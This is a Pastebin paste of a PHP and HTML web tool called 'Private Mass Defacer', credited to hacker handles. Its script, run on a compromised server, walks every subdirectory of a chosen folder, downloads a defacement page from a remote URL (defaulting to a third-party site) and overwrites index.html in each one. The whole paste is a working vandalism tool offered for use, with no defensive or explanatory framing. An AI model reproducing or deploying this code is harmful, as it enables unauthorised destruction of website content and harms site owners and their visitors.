Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <!DOCTYPE html>
- <html>
- <head>
- <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
- <title>Private Mass Defacer</title>
- <link rel="SHORTCUT ICON" href="http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/61.gif">
- <!--
- Coded by Mr_AnarShi-T
- Modified By rEd X
- red-x@hackermail.com
- -->
- <style type="text/css">
- <!--
- body { background-image: url(http://media.somewhereinblog.net/images/ondhokarer_rajputra_1348021005_1-background-snow.png); color:#000;}
- body *{ margin: 0; padding: 0; font-family:Century Gothic, Comic Sans MS;}
- a { text-decoration:none; color:#336699; }
- a:hover { text-decoration: underline; }
- body, td{ margin: 0; padding: 0; font-size: normal;}
- b{ font-weight:bold; }
- input,textarea,select {
- color:#336699;
- background-color:#fff;
- font-family:Century Gothic, Arial;
- font-weight: bold;
- border:1px solid #333;
- margin:2px;
- border-radius: 6px;
- -webkit-border-radius: 6px;
- -moz-border-radius: 6px;
- }
- input.submit,input[type=submit]
- {
- margin:2px;
- background-color:#6d84b4;
- border:1px solid #000000;
- font-weight:bold;
- color:#ffffff
- }
- .Header {
- background: #336699;
- text-align:center;
- padding:2px; color:
- #fff; font-weight:bold;
- }
- .footer{background:#DDE7F1; font-weight:bold; border-top:1px solid #abc; padding:5px; font-weight:bold; text-align:center; }
- -->
- </style>
- </head>
- <body>
- <div class="Header">Mass Defacer</div><br/>
- <b>
- <form ENCTYPE="multipart/form-data" action="<?$_SERVER['PHP_SELF']?>" method=post>
- Folder :<br/>
- <input typ=text name=path size=60 value="<?=getcwd();?>"><br>
- File Name :<br/>
- <input typ=text name=file size=60 value="index.html"><br>
- Deface Page URL : <small>(ex: http://abc.com/red-x.txt)</small><br/>
- <input typ=text name=url size=60 value="http://alvaroborges.com.br/dir/red-x.txt"><br>
- <input type=submit value=Deface>
- </form>
- <?php
- $mainpath=$_POST[path];
- $file=$_POST[file];
- $indexurl=$_POST[url];
- echo "<br>";
- $dir=opendir("$mainpath");
- while($row=readdir($dir))
- {
- $start=@fopen("$row/$file","w+");
- $code=@file_get_contents($indexurl);
- $finish=@fwrite($start,$code);
- if ($finish)
- {
- echo "» $row/$file » Done<br><br>";
- }
- }
- ?>
- <div class="footer">Original Coder: <font color="#FF0000">AnarSher</font> || Modified By <font color="#FF0000">rEd X aka Outrageous Demon</font></div>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement